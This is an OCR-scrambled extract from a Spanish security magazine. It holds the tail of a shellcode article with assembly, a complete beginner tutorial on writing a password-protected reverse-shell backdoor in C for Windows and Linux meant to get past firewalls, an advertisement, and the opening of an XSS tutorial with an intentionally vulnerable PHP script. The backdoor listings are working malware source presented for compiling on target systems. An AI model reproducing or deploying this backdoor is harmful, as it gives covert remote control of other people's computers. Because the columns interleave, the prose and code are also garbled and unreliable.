pushl $0x702f2f2f del cdigo shell, ms cdigos de HTTP/1.0 y el HTTP/1.1. En cambio
movb $0xb, %al operacin se necesitarn para el cdigo shell descargado no est
movl %esp, %ebx ponerlos finalmente en prctica. limitado por el tamao ni tampoco
pushl %edx Para producir un cdigo shell ms tiene lmite NULL, debido a que
pushl %ebx ingenioso y ms avanzado, el as- se est descargando desde fuera
movl %esp, %ecx pecto del tamao debe superarse. del proceso de vulneracin ya no
int $0x80 De otro modo el cdigo shell se est vinculado a ninguna de las
rechazar por sensatez en el nivel limitaciones a las que estaba vin-
El resultado sera un iniciador ge- del protocolo y ser intil. culado el cargador. Sin embargo,
nrico del intrprete, la nica ruta es importante que el cargador del
insertada es la /proc, la cual pro- Las etapas cdigo shell sea pequeo y no
bablemente no cambie en ningn Dividir cada operacin lgica en tenga NULL pues debera ajustar-
momento del presente. Otro factor acciones ms pequeas permite la se a las limitaciones y superarlas.
que necesita tenerse en cuenta creacin de un conducto. Lo mis- Lo que puede ser efectivo en los
son los demonios de tejido nico mo sucede con el cdigo shell. Si tests de penetracin. Por ejemplo
contra aquellos que tiene mlti- este no puede ajustarse al sistema uno podra configurar un pequeo
ples. Utilizar este mtodo dentro atacado de golpe, podra ser atra- servidor web que confirme cuan-
de un proceso que es un resultado pado por uno ms pequeo. As do un sistema ha sido vulnerado
directo de la fork()'ing requiere un que en lugar de un nico cdigo a partir de los impactos observa-
paseo repetitivo a travs del rbol shell que produce un resultado, la dos que llegan del cargador. Es
del proceso parental, mientras divisin separa la funcionalidad del posible que con unos pocos pelliz-
que por lo general no se necesita cdigo shell y su cargador; que es cos el cargador enve informacin
buscar en los demonios de tejido un cdigo shell ms pequeo cuyo sobre la identificacin desde el
nico. El cdigo shell que aparece propsito de por vida es introducir sistema vulnerado y por tanto del
antes es para los demonios de te- al cdigo shell real en el juego. La lado del servidor sea posible de-
jido-nico. ventaja de tener un cargador para volver un cdigo shell binario que
se corresponda con los parmetros
del sistema vulnerado. Y en una
En la Red cuerda diferente tambin se puede
abusar de esto para convertirse en
http://www.tty64.org/code/cdigo shells/ - Archivo para ambas fuentes y cdigos
shell no convencionales.
la base para un gusano que se auto
propague. Para este cdigo shell
especfico, y quizs para otros, hay
una utilidad llamada gen_httpreq.c,
Sobre el Autor que genera fcilmente un estilo de
Itzik Kotler es investigador de seguridad y fundador del proyecto TTY64. Dicho pro- cdigo shell correspondiente y una
yecto se centra en los programas orientados a la seguridad en todos sus aspectos. Y cadena para una URL determinada
ofrece muchos conocimientos en forma de fragmentos, proyectos y tutoriales sobre el que est lista para su uso dentro
tema. Contacto: izik@tty64.org or http://www.tty64.org del cdigo shell proporcionado. l

www.hakin9.org 61
Backdoors
Multiplataformas
Para principiantes

Jos Mara Garca

Grado de dificultad

En este artculo voy a tratar de explicar cmo crear una


Backdoor o Puerta Trasera con conexin inversa y protegida
por contrasea, en lenguaje C para Windows y Linux a la vez,
pero antes de comenzar debo dar unas pequeas nociones
sobre programacin de sockets para que los que no sepan
programarlos, tambin aprendan.

P
ara que dos programas puedan co- Teora sobre
municarse entre s, es necesario que Estructuras de Datos
se cumplan ciertos requisitos: que un Una Estructura de Datos, no es msque una
programa sea capaz de localizar al otro, y que forma para almacenar datos. Supongamos
ambos programas sean capaces de intercam- que queremos hacer una lista de la compra,
biar entre s cualquier secuencia de octetos, es tendramos que crear una estructura llamada
decir, datos relevantes a su finalidad. Para ello Compra (para que sea fcil identificarla) en la
son necesarios los tres recursos que originan que meteramos variables como Tomates, Le-
el concepto de socket: chuga, Pan,etc. Y le daramos un valor a cada

Un protocolo de comunicaciones, que per-


mite el intercambio de octetos, En este artculo aprenders...
Una direccin IP, que identifica a una com-
putadora, Ideas sobre cmo un SO interacta con los
programas del espacio de usuario,
Un nmero de puerto, que identifica a un
Qu son las llamadas del sistema y como en-
programa dentro de una computadora.
contrar su tabla de llamadas,
Cmo ocultar mdulos, procesos, conexiones
La funcin de estos tres recursos que origi- de red y archivos,
nan el concepto de socket consiste en imple- Cmo conceder permisos de root a los usua-
mentar una arquitectura cliente-servidor. La rios normales desde el ncleo.
comunicacin ha de ser iniciada por uno de
los programas, por este motivo se denomina Lo que deberas saber...
programa cliente. En este momento el se-
gundo programa esperar a que otro inicie la Programacin C,
comunicacin, por este motivo se denomina Nociones bsicas de Linux,
programa servidor (http://es.wikipedia.org/ Conceptos tales como tareas, archivos, etc.
wiki/Socket).

62 www.hakin9.org
Backdoors

Tabla 1. Teora sobre APIs en Windows, es necesario declarar prog/functions _in_alphabetical_or


la cabecera windows.h. Puedes ver der.asp
API PROPOSITO una lista de todas las APIs de Win- Nuestra Backdoor usar la co-
Create- Crear un proceso dows por orden alfabtico en: http:// nexin inversa, es decir, que el pro-
Process msdn.microsoft.com/library/default. grama se conectar a nosotros para
DeleteFile Eliminar un asp?url=/library/en-us/winprog/win ofrecernos la administracin del PC
fichero remoto, y no seremos nosotros los
Listado 1. Abriendo un socket que nos conectemos a l. De esta
ShowWindow Muestra/Oculta
en Windows manera, dependiendo del puerto
una ventana
#include <stdio.h>
que usemos, lograremos atravesar
... ...
#include <winsock.h> cortafuegos (FW Bypass) y conse-
#pragma comment(lib, guiremos traspasar redes LAN (LAN
variable para saber si tenemos que "WSOCK32.LIB") Bypass), ya que, lo que hace que una
WSADATA wsaData;
comprar ese alimento, o no. conexin directa no tenga xito hacia
struct sockaddr_in Winsock_In;
La sintxis para usarlas en C es: struct hostent *Master;
el servidor, es que el firewall filtra los
int sock; puertos cuando entran conexiones,
struct nombre_de_la_estructura /*iniciamos la librera para pero no filtran un nmero determina-
{ crear un socket*/ do de puertos cuando la conexin se
WSAStartup(MAKEWORD(2,2),
variable; realiza hacia afuera. Hacia adentro de
//versin del socket
};
&wsaData
la red LAN, sucede algo similar.
//estructura que recibe las El router es quien administra todas
En el caso de la lista de la compra, la propiedades del socket las conexiones entrantes y los puertos,
estructura podra ser: );
if((sock=WSASocket(AF_INET,
SOCK_STREAM, Listado 2. Abriendo un socket
struct Compra
IPPROTO_TCP,NULL, en Linux
{ (unsigned int)NULL,
int Pan; (unsigned int)NULL)) #include <stdio.h>
int Tomates; ==INVALID_SOCKET) #include <netdb.h>
{ #include <sys/socket.h>
int Lechuga;
printf("Error al crear int sock;
};
el socket"); struct hostent *Master;
return -1; struct sockaddr_in Winsock_In;
Para usarla, solo tenemos que crear } if((sock=socket(AF_INET,
un puntero a la estructura, como el /*pasamos el host a ip*/ SOCK_STREAM,0))
Master=gethostbyname ==SOCKET_ERROR)
siguiente:
("localhost"); {
/*rellenamos la estructura printf(''Error al crear
struct Compra Lista_de_Compra; que contiene los datos el socket");
de conexin*/ return -1;
De esta manera, cada vez que Winsock_In.sin_port= }
htons(4664); Master=gethostbyname
queramos referirnos a la estructura
//puerto al que conectar (''localhost'');
Compra tendremos que hacerlo co- Winsock_In.sin_family= Winsock_In.sin_family=
mo Lista_de_Compra, y se hara de AF_INET; //IPv4 AF_INET; // IPv4
la siguiente manera: Winsock_In.sin_addr.s_addr=* Winsock_In.sin_port=
((struct in_addr *) htons(4664);
Master->h_addr); //Host-Ip // Puerto al que conectar
//si tenemos que comprar solo
/*conectamos segn los datos Winsock_In.sin_addr=
Pan y Tomates
de la estructura *((struct in_addr *)
Lista_de_Compa.Pan=1; "Winsock_In"*/ Master->h_addr); //host al
Lista_de_Compra.Tomates=1; if(WSAConnect(sock, que conectar
Lista_de_Compra.Lechuga=0; (SOCKADDR*)&Winsock_In, if(connect(sock,(struct
sizeof(Winsock_In),NULL, sock_addr *)&
NULL,NULL,NULL) Winsock_In,sizeof
Teora sobre APIs ==SOCKET_ERROR) (struct sockaddr))
API es la abreviacin de (Application { ==SOCKET_ERROR)
Programming Interface). Una de sus printf("Error al conectar"); {
funciones principales consiste en pro- return -1; printf(''Error al conectar'');
return -1;
porcionar un conjunto de funciones de
//cerramos la conexion //cerramos el socket
uso general, dando al programador WSACleanup(); close(sock);
la ventaja de no tener que escribir } }
todo desde el principio. Para usarlas

www.hakin9.org 63
Para principiantes

de manera que tendramos que confi- funcin, tipos de socket, y usarlos se- cha informacin sobre programacin
gurar el router para que al conectar gn tu inters. Puedes encontrar mu- de sockets en C en estos enlaces:
a un puerto que redirigiese la conexin
al PC que tuviera nuestra Backdoor Listado 3a. Abriendo un socket multiplataforma
(algo imposible si no se tiene acceso
al router).(Nota: En los cdigos usar #include <stdio.h>
//cabeceras y libreras segn el SO
el host (PC anfitrin) localhost y el
#ifdef WIN32
puerto 4664, pero puedes usar el par #include <winsock.h>
que prefieras.) Por desgracia, los soc- #pragma comment(lib,
kets no se programan de igual forma "WSOCK32.LIB")
en Windows y en Linux. Veamos un #else
#include <netdb.h>
esquema de los pasos que se deben
#include <sys/socket.h>
de dar en una y otra plataforma. #define SOCKET_ERROR -1
#endif
Pasos a seguir en //socket
Windows int sock;
int main()
Pasos que debemos seguir en siste-
{
mas Windows: int Conecta(char *Destino,
short Puerto);
Incluir las cabeceras necesarias, if(Conecta(''localhost'',4664)
Incluir la librera de sockets, ==1)
{
Declarar las variables y estructu-
puts(''CONECTADO!'');
ras necesarias, }
Cargar la librera del socket, else{
Crear el socket, puts(''ERROR'');
Pasar del nombre Host a la direc- }
//para cerrar la conexin
cin IP (no es necesario, pero si
#ifdef WIN32
til), WSACleanup();
Completar la estructura de datos #else
necesarios para la conexin, close(sock);
Conectar, #endif
return 0;
Desconectar.
}
int Conecta(char *Destino,
Para pasar esto a cdigo tendremos short Puerto)
que hacer lo que est en Listado 1. {
struct hostent *Master;
struct sockaddr_in Winsock_In;
Pasos a seguir en Linux //si estamos en windows, cargamos la librera
Los pasos que debemos seguir en #ifdef WIN32
Linux: WSADATA wsaData;
/*iniciamos la librera para crear un socket*/
Incluir las cabeceras necesarias, WSAStartup(MAKEWORD(2,2),
//versin del socket &wsaData
Declarar las variables y estructu-
//estructura que recibe las propiedades del socket
ras necesarias, );
Crear el socket, sock=WSASocket(AF_INET,SOCK_STREAM,
Pasar del nombre Host a direccin IPPROTO_TCP,NULL,(unsigned int)NULL,
Ip (no es necesario, pero til), (unsigned int)NULL);
#else
Completar la estructura de datos
sock=socket(AF_INET,SOCK_STREAM,0);
necesarios para la conexin, #endif
Conectar, if(sock==SOCKET_ERROR)
Desconectar. return 0;

Master=gethostbyname(Destino);
Para pasar esto a cdigo tendramos
Winsock_In.sin_family=AF_INET; // IPv4
que hacer lo que muestra Listado 2. Winsock_In.sin_port=htons(Puerto); //
Esto que acabo de mostrar, solo Puerto al que conectar
sirve para que tengas un esquema Winsock_In.sin_addr= *((struct in_addr *)
claro, pero para saber programarlos Master->h_addr); //host al que conectar

debes mirar las definiciones de cada

64 www.hakin9.org
Backdoors

ro s muy recomendables, ya que si


Listado 3b. Abriendo un socket multiplataforma no lo hacemos, solo podremos co-
#ifdef WIN32
nectar si nos dan la IP, y no si nos
if(WSAConnect(sock,(SOCKADDR*)&Winsock_In, dan el Host.)
sizeof(Winsock_In),NULL,NULL,NULL,NULL)==
SOCKET_ERROR) Uniendo cdigos
return 0;
Para que la Backdoor sea multipla-
#else
if(connect(sock,(struct sock_addr *)&Winsock_In,
taforma, deberemos modificar el c-
sizeof(struct sockaddr))==SOCKET_ERROR) digo para que se ejecute la parte de
return 0; cdigo correspondiente a la platafor-
#endif ma donde se ejecute el programa.
Para esto, usaremos la directiva
return 1;
#ifdef a lo largo de todo el progra-
}
ma, y segn qu SO sea, haremos
una cosa u otra:
Gua Beej de programacin en re- c r o s o f t .c o m / l i b r a r y / d e f a u l t .
des: http:/www.arrakis.es/~dmrq/ asp?url=/library/en-us/winsock/ #ifdef WIN32
beej/ w i n s o c k / w i n d o ws _ s o c ke ts _ //si estamos en Windows
Winsock Programmers Faq: http:// error_codes_2.asp printf("Estamos en Win");
tangentsoft.net/wskfaq/ #else //si no
Errores Winsock: http://msdn.mi- (Nota: Los pasos 6 y 4 respectiva- printf(''No estamos en Win'');
mente, no son pasos obligatorios pe- #endif

Listado 4. Lanzando un shell


Listado 5. Lanzando un shell con seguridad de acceso
en Windows
#include <string.h>
#include <windows.h>
#define PASSWORD ''mi_password\0''
int sock;
#define LEN_BUF 1024 //numero
HANDLE hStdIn, hStdOut, hStdErr;
maximo de caracteres a transferir
STARTUPINFO si;
char Buffer[LEN_BUF]; //variable
PROCESS_INFORMATION pi;
para enviar/recibir datos
OSVERSIONINFO SOInfo;
int Recv; //para saber cuntos
char *shell;
datos hemos transferido
//definimos los handles
//devuelve 0 (incorrecto)
hStdIn = hStdOut = hStdErr =
/ 1 (correcto)
(void*) conex;
int Loggeado()
//rellenamos la estructura
{
memset(&si, 0, sizeof(si));
if(PASSWORD!=NULL)
si.cb = sizeof(si);
{
si.hStdError = hStdErr;
do //creamos un bucle hasta que se
si.hStdOutput = hStdOut;
introduzca la contrasea correcta
si.hStdInput = hStdIn;
{
si.wShowWindow=SW_HIDE;
//limpiamos el buffer
si.dwFlags |=
memset(Buffer,0,sizeof(char*));
STARTF_USESTDHANDLES;
//pedimos la contrasea
GetVersionEx(&SOInfo);
send(sock,''\n[#] Introduce la
if(SOInfo.dwPlatformId==
password: '', strlen(''\n[#]
VER_PLATFORM
Introduce la password: ''),0);
_WIN32_WINDOWS)
//recibimos los datos
//si estamos
Recv=recv(sock,Buffer,
en Win 9x
LEN_BUF,0);
{
//comprobamos si ha cerrado
shell=''command.com\0'';
la conexion
}else{ //si el SO es
if(Recv<=0)
Win NT, 2000,
return 0;
XP, o superior
Buffer[Recv-1]='\0';
shell=''cmd.exe\0'';
}
}
while(strcmp(Buffer,PASSWORD)!=0);
send(sock,"[*] Aceptada!\n\n'',
//creamos el proceso
strlen("[*] Aceptada!\n\n''),0);
CreateProcess(NULL,shell,NULL,N
}
ULL,
return 1;
TRUE,0,NULL,NULL,&si,&pi);
}

www.hakin9.org 65
Para principiantes

El esquema ms cmodo que pode- de el socket. Esto se hace con una del shell vara de command.com
mos seguir a la hora de realizar la co- estructura llamada STARTUPINFO, (Win9x) a cmd.exe (WinNT).
nexin, es crear una funcin principal la cual, entre otros parmetros, le Los pasos para lanzar el shell
para hacer esa tarea, y dentro de ella, indica al proceso, por dnde ha de seran: incluir las cabeceras nece-
usar la directiva #ifdef y seleccionar mandar los datos, los errores, y por
los pasos para crear la conexin. dnde cojer los datos. Otro punto Listado 7b. El Backdoor
Con este cdigo, ya podramos a tener en cuenta, es la versin de multiplataforma completo
realizar una conexin multiplataforma, Windows, si es NT (o superior) o no,
pero el programa no solo se basa en ya que en funcin de esto, el nombre {
int Loggea();
la conexin, sino en el control del PC.
struct hostent *Master;
Aqu se pueden optar por varias op- Listado 7a. El Backdoor struct sockaddr_in Winsock_In;
ciones en la manera de controlarlos, multiplataforma completo //si estamos en windows,
como lanzar directamente un shell, cargamos la librera
o controlar el PC a base de coman- #include <stdio.h> #ifdef WIN32
#include <string.h> STARTUPINFO start_proc;
dos preestablecidos en el cdigo, que
//cabeceras y libreras PROCESS_INFORMATION info_proc;
es como funcionan las backdoors con segn el SO OSVERSIONINFO SOInfo;
GUI (interface grfica). Reciben lo #ifdef WIN32 WSADATA wsaData;
que el cliente enva, y en base a eso, #include <winsock2.h> char *shell;
realizan una accin u otra. #pragma comment(lib, WSAStartup(MAKEWORD(2,2),
''ws2_32.lib'') //versin del socket
Yo voy a optar por lanzar un shell,
#else &wsaData //estructura que
ya que de este modo, se tiene ms #include <netdb.h> recibe las propiedades
control sobre el PC, as que ahora #include <sys/socket.h> del socket
vamos a ver qu necesitamos para #define SOCKET_ERROR -1 );
lanzar un shell en ambas platafor- #endif if((sock=WSASocket(AF_INET,
#define PASSWORD ''mi_pass\0'' SOCK_STREAM,IPPROTO_TCP,
mas.
//contrasea NULL,(unsigned int)NULL,
#define LEN_BUF 1024 //numero (unsigned int)NULL))==
En Windows maximo de caracteres INVALID_SOCKET)
Para lanzar un shell en Windows, te- a transferir return 0;
nemos que crear un proceso, el co- char Buffer[LEN_BUF]; //variable #else
para enviar/recibir datos if((sock=socket(AF_INET,
rrespondiente al shell (cmd.exe), con
int Recv; //para saber SOCK_STREAM,0))==
una serie de parmetros para que cuntos datos SOCKET_ERROR)
nos podamos comunicar con el des- hemos transferido return 0;
//socket #endif
int sock; Master=gethostbyname(Destino);
Listado 6. Mejorando el /*funcin principal*/ Winsock_In.sin_family=AF_INET;
backdoor int main() // IPv4
{ Winsock_In.sin_port=
int main() int ReverseShell(char *Destino, htons(Puerto);
{ short Puerto); // Puerto al que conectar
int ReverseShell(char *Destino, for(;;) Winsock_In.sin_addr= *((struct
short Puerto); { in_addr *)
for(;;) if(send(sock,'''',0,0)<=0) Master->h_addr); //host al
{ { que conectar
if(send(sock,'''',0,0)<=0) #ifdef WIN32 #ifdef WIN32
{ WSACleanup(); if(WSAConnect(sock,
#ifdef WIN32 #else (SOCKADDR*)&Winsock_In,
WSACleanup(); close(sock); sizeof(Winsock_In),NULL,NULL,
#else #endif NULL,NULL)==
close(sock); RevereShell(''localhost'', SOCKET_ERROR)
#endif 4664,PASSWORD); return 0;
RevereShell(''localhost'', } #else
4664,PASSWORD); #ifdef WIN32 if(connect(sock,
} Sleep(100); (struct sock_addr *)
#ifdef WIN32 #else &Winsock_In,sizeof
Sleep(100); sleep(100); (struct sockaddr))
#else #endif ==SOCKET_ERROR)
sleep(100); } return 0;
#endif return 0; #endif
} } if(Loggea()==0)
return 0; int ReverseShell(char *Host, return 0;
} short port, char *pwd)

66 www.hakin9.org
Backdoors

sarias, declarar las variables y es-


tructuras necesaria, definir los han-
dles, completar la estructura, com-
probar la versin de Windows, lanzar
la shell.
Que pasado a cdigo, sera lo
que vemos en Listado 4.
(Nota: En la pgina http://msdn.
microsoft.com/library puedes ver una
explicacin detallada de cada funcin
buscandolas por nombre.)
Los pasos a seguir en Linux para
lanzar la shell seran: crear un pro-
ceso hijo, duplicar los handles del
socket, y lanzar la shell.
Que pasado a cdigo, sera:

if(fork()!=0)
return 0;
if(!dup2(sock,0) || !dup2(sock,1) ||
!dup2(sock,2))
return 0;
if(!execl("/bin/sh", "shell", NULL))
return 0;

Con esto, ya tendramos nuestra


backdoor multiplataforma, pero
a poco que la compiles y la ejecu-
tes, te dars cuenta de que cual-
quiera puede acceder, ya que no
hay contrasea de acceso, y si te
desconectas una vez, ya no podrs
volver a conectar. Para solucionar
esto, vamos a definir una contra-
sea y crear un bucle infinito para
que siempre podamos volvernos
a conectar.
Para poner la contrasea, ten-
dramos que hacer lo siguiente:

Incluir las cabeceras necesarias,


Definir la contrasea,
Declarar las variables necesarias
para el logueo,
Crear una funcin para enviar los
datos al socket,
Crear una funcin que pida
y compruebe la contrasea.

Y como en los pasos previos, vamos


a ver en Listado 5. cmo pasar estas
ideas a cdigo.
(NOTA: Ms adelante mostrar
el cdigo completo de la Backdoor,
en el que he modificado la funcin
que conecta al host y la he llamado
ReverseShell, para que inmediata-

www.hakin9.org 67
Para principiantes

mente despus de conectar, loggee


al usuario y lanze la shell, para aho- Sobre el Autor
rrarnos llamadas a funciones y hacer Jose Mara Garca es un joven de 19 aos que lleva desde los 15 interesndose por el
el cdigo ms legible.) mundo de la seguridad informtica en general, y la programacin. Con una formacin
Para solucionar el otro problema totalmente autodidacta, trabaja eventualmente como programador, aunque colabora
y que la backdoor conecte cada con SecurityFocus, PacketStormSecurity y milw0rm entre otros, principalmente cola-
vez que pierda la conexin, vamos bora en el foro de elhacker.net.
a crear un bucle infinito, y vamos a Contacto: jm.galias@gmail.com
usar la funcin send() y segn del
valor que nos devuelva, sabremos
si el socket est conectado o no. Es importante mencionar el causar un reinicio del Pc, cosa que
Si la backdoor funcionase mediante Sleep(100), esta es otra de las APIs no nos interesa.
comandos como expliqu anterior- de Windows que sirve para pausar Y esto ya sera todo lo necesa-
mente, podramos usar la funcin la ejecucin del programa (en este rio para crear la Backdoor, de esta
recv() pero en este caso no pode- caso 100 milisegundos), y as no menera el cdigo completo quedara
mos, porque si cojemos los datos saturar la CPU, ya que cuando la como en Listado 7.
con recv(), no llegan a la shell. La conexin est establecida, no parar Ahora, solo tenemos que llevar-
funcin principal quedara as como de repetirse el bucle todo lo rpido nos el source al sistema que quera-
muestra Listado 6. que nuestro Pc pueda, y podemos mos, y compilarlo. l

Listado 7c. El Backdoor multiplataforma completo Listado 7d. El Backdoor


multiplataforma completo
#ifdef WIN32
//rellenamos la estructura {
memset(&start_proc,0, close(sock);
sizeof(start_proc));//limpiamos return 0;
start_proc.cb=sizeof(start_proc); }
start _ proc.dwFlags= #endif
return 1;
STARTF_USESTDHANDLES; }
start_proc.wShowWindow=SW_HIDE; //devuelve 0 (incorrecto) / 1
start_proc.hStdInput = (HANDLE)sock; (correcto)
start_proc.hStdOutput = (HANDLE)sock; int Loggea()
start_proc.hStdError = (HANDLE)sock; {
GetVersionEx(&SOInfo); if(PASSWORD!=NULL)
if(SOInfo.dwPlatformId== {
VER_PLATFORM_WIN32_WINDOWS) do
{ {
shell=''command.com\0'';
}else{ //limpiamos el buffer
shell=''cmd.exe\0''; memset(Buffer,0,sizeof(char*));
} //pedimos la contrasea
//lanzamos la shell send(sock,''\n[#] Introduce la
if(CreateProcess(NULL,shell,NULL, password: '',strlen(''\n[#]
NULL,TRUE,0,NULL,NULL,&start_proc, Introduce la password: ''),0);
&info_proc)==0) //recibimos los datos
{ Recv=recv(sock,Buffer,
return 1; LEN_BUF,0);
}else{ //comprobamos si ha cerrado
WSACleanup(); la conexion
return 0; if(Recv<=0)
} return 0;
#else Buffer[Recv-1]='\0';
if(fork()!=0) }
{ while(strcmp(Buffer,
close(sock); PASSWORD)!=0);
return 0; send(sock,''[#] Aceptada!
} \n\n'',strlen
//duplicamos los handles del socket (''[#] Aceptada!\n\n''),0);
dup2(sock,0); }
dup2(sock,1); return 1;
dup2(sock,2); }
if(!execl(''/bin/sh'', ''sh'',NULL))

68 www.hakin9.org
VIP DEFENSE
Publicidad

VIP PRIVACY
La cuestin de la proteccin de la privacidad es hoy ms importante que nunca.
Los delincuentes cazan a los usuarios para conseguir su informacin personal,
inventando nuevas formas de robarla.
Puedes pensar que no pasa nada malo al dar chos artculos y se dijeron muchas palabras sobre el Sistema Operativo y las aplicaciones. En vez de
tan inocente informacin como tu direccin e-mail, el tema. Sin embargo, el nmero de ataques crece hacer tu vida ms fcil, el almacenamiento de tu
por ejemplo, bueno, debes reconsiderarlo. A partir cada da y esto despierta alarma entre los usuarios. informacin privada solo puede provocarte poten-
de algunos bits de informacin los delincuentes Lo que el usuario realmente necesita no es charlar ciales problemas.
siempre son capaces de buscar ms y encontrar sino REALMENTE proteger su PRIVACIDAD. Ahora bien, no crees que deberas se el NICO
una forma de entrar en tu sistema y pescar algunos Cuando introduces cualquier informacin en tu que decide si quieres o no compartir tus datos?
datos que tu ni sabas que existan! ordenador, crees en el sistema protege estos datos. Bueno, exactamente! Debera depender de ti de-
A continuacin se muestran algunos ejemplos Sin embargo, desgraciadamente t eres quien tiene terminar quin debe saber de ti! Antes que nada,
de cmo tus datos personales pueden ser emplea- que tomar medidas y convertir tu ordenador en un es TU informacin!
dos para usos fraudulentos. Los spammers (bom- lugar SEGURO, que no sea accesible a cualquier Pues, definimos el problema y sabemos que
barderos) emplean tu agenda de direcciones para delincuente. quieres solucionarlo. La pregunta es cmo.
enviar irritante correo no deseado tanto a ti como Primero, vayamos al grano del problema. La respuesta es - VIP Privacy.
a tus conocidos. Los phishers se sirve de alguna Por qu lo primero que necesitas es proteccin? VIP Privacy es una herramienta que te deja
mascarada como si fueran autnticas personas Qu es exactamente lo que te pone en el grupo buscar y limpiar de forma segura todo tipo de
u hombres de negocio y te envan un correo de riesgo? informacin almacenada en tu sistema. Esto de
aparentemente oficial tratando de conseguir los Esto sucede porque tu Sistema Operativo re- ninguna forma elimina tus archivos privados ni
detalles de tu cuenta bancaria o el cdigo pin de coge y almacena datos sobre tu persona y sobre cambia el contenido de los documentos que tienes
tu tarjeta de crdito. Los hackers emplearn tu la configuracin de tu ordenador. Esto se hace prin- en el ordenador. Tan solo es la informacin recogida
nombre de usuario y contrasea para robar tu tr- cipalmente para facilitar el proceso de soporte del por las diferentes aplicaciones la que era eliminada
fico de Internet o enviar exploits a tu sistema y, as cliente cuando ocurre cualquier problema. Muchas sin influir en el rendimiento de tu sistema y de tus
convertir tu ordenador en su zombi. No te gustara aplicaciones hacen lo mismo. Entonces cuando te aplicaciones.
ser victima de ellos, verdad? pongas en contacto con el Programa de Soporte, VIP privacy reconoce ms de 700 aplicaciones
El problema principal es que la mayora de todo lo que tendrs que hacer ser hacer clic en el y unos miles de faltas del sistema que guardan
usuarios no sospechan incluso que puedan haber botn de la pantalla de la aplicacin y no escanear tus datos personales y que pueden ser empleadas
sido limpiados de manera tan maliciosa. Son bas- tu sistema manualmente tratando de encontrar la por los delincuentes. VIP privacy te ofrecer una
tante ingenuos como para pensar que su informa- informacin que necesites. Te parece bien, no? detallada descripcin de cada falta de privacidad
cin personal est perfectamente asegurada sin Otro motivo para tu sistema y para las aplica- encontrada en tu sistema. El proceso de bsqueda
emplear ninguna medida adicional. ciones que guardan tu informacin personal es que y eliminacin es completamente ajustable a las ne-
Pero, por favor, ten en cuenta lo siguiente. Tu empleas servicios Web. Muchas aplicaciones guar- cesidades individuales, por lo que siempre tienes el
informacin personal y privada puede ser peligro- dan informacin sobre tus direcciones e-mail, tus control completo de la situacin.
sa, cuando: contraseas, los nmeros de tus tarjetas de crdito As VIP Privacy es una perfecta forma de de-
o tus cuentas bancarias para acelerar el proceso de fenderte de las maliciosas acciones realizadas por
has usado cualquier servicio Web; registro en algunas pginas Web o de las cosas que los hackers, spyware, troyanos etc. Nadie robar
has rellenado cualquier formulario de registro compras o vendes a travs de Internet etc. nunca lo que t ya no tienes!
en lnea; Ahora, ten en cuenta que en cuanto a la infor- Funciones claves
has usado cualquier servicio de mensajera en macin personal no nos referimos a tus archivos
lnea. o documentos. Estos son solamente unos datos Bsqueda y opciones de limpieza completa-
Esto efectivamente significa que te encuen- recogidos por numerosas aplicaciones y por el mente ajustable a las necesidades individuales
tras en el grupo de riesgo mientras tu ordenador Sistema Operativo del qu estamos hablando. Tales para eliminar de forma segura tus datos privados
est conectado a Internet. Lo puede ser casi cada datos se almacenan en tu sistema de manera sepa- de usuario;
uno de nosotros! rada de los dems archivos de usuario y no suelen Modo pnico para una rpida y fcil elimina-
Pues, lo que necesitas ahora es encontrar la afectar el funcionamiento de las aplicaciones. cin de datos paso a paso;
forma de arreglar este problema. Se escribieron mu- Aunque todos estos rasgos de recoger Programador automtico del sistema de depu-
y guardar informacin de ti y de tu sistema estn racin fcil de emplear;
destinados para ayudarte, a veces se convierten Indicacin del nivel actual de privacidad para
Contacto: sales@vipdefense.com en tu peor enemigo. Hay muchos delincuentes que evaluacin;
tratan de aprovecharse de los fallos de tu sistema Exportacin a un archivo de texto para tu futu-
para robar tu informacin personal guardada por ra referencia.

Publicidad
XSS Cross-Site Scripting

Para principiantes

Paul Sebastian Ziegler

Grado de dificultad

Desde que internet se ha convertido en parte esencial de la


vida de muchas personas, la seguridad de los sitios web se ha
convertido en preocupacin de primer orden. La inyeccin de
cdigo en las partes cambiantes de los sitos web dinmicos
supone una peligrosa amenaza, pero tambin es muy interesante,
para la seguridad.

E
l Cross-Site Scripting (al que nos para ver si tiene contenido sospechoso habr
referiremos como XSS) es en la ac- cdigo imbuido en el sitio web que se ejecute
tualidad una de las vulnerabilidades en el navegador de cada visitante que permita
ms extendidas en las aplicaciones-web. Es el contenido JavaScript.
responsable de gran parte de los bugs, fallos Uno puede pensar que no puede ser ro-
y exploits publicados y discutidos en las listas bada de esta forma ninguna informacin im-
de seguridad todos los das. Su popularidad portante, pero eso est lejos de la realidad.
slo es superada por el famoso desbordamien- Muchas veces el contenido sensible como
to de buffer e incluso aunque algunas personas los permisos de usuario o la informacin
piensan que el XSS es un tcnica pobre, usada personal o financiera puede encontrarse en
principalmente por script kiddies, ste no es el las cookies, puede aparecer en el cuerpo
caso. Ya que este tipo de ataque slo requiere del propio sitio web o puede ser parte de
un navegador, el patrn bsico de ataque es
bastante simple de utilizar; sin embargo los
ataques avanzados requieren un buen entendi- En este artculo aprenders...
miento del lenguaje de scripting y de los sitios
Como inyectar cdigo script en sitios web vulne-
web dinmicos.
rables,
La idea bsica detrs del XSS es que Como evitar los mecanismos bsicos de filtra-
como en los desbordamientos de buffer la do,
entrada proporcionada por el usuario no es Como proteger sitios web frente al XSS.
correctamente filtrada y comprobada. Imagina
un libro de visitas en Internet. Como siempre, Lo qu deberas saber...
los visitantes son invitados a dejar un mensaje
que todo el mundo lea. Un usuario malinten- Html bsico,
cionado puede no dejar ningn mensaje sino JavaScript bsico,
un cdigo JavaScript para los dems usuarios. Cmo funcionan los sitios web dinmicos.
Si el libro de visitas no comprueba la entrada

70 www.hakin9.org
Inyeccin de cdigo

la URL. En todos esos casos la


informacin puede ser robada por
un atacante.
Como muestran el gran nmero
de incidentes reportados ste es un
problema ampliamente extendido.
Por qu sucede esto es bastante
fcil de entender una vez que te
das cuenta de que cualquier sitio
web que muestre la entrada de un
usuario es vulnerable a este tipo de
ataque mientras no se aplique un
filtrado adecuado. E incluso aunque
las reglas para un filtrado suficiente
se conocen desde hace bastante
tiempo, se descubren a diario fallos
Figura 1. Navegador mostrando una alerta
en aplicaciones webs importantes.
Por ejemplo, en los dos ltimos me-
ses sitios y servicios bien conocidos Listado 1. Un script vulnerable
tales como amanzon.co.jp, icq.com
<?php
y MIMESweeper For Web han sido el
setcookie("xss", "El contenido se almacenar en una cookie");
objetivo de ataques XSS. $text = $_GET['text'];
$title = $_GET['title'];
Lo bsico if (!$text && !$title){
Para empezar trabajaremos con el echo '
<html>
script PHP del listado 1. Para los
<head>
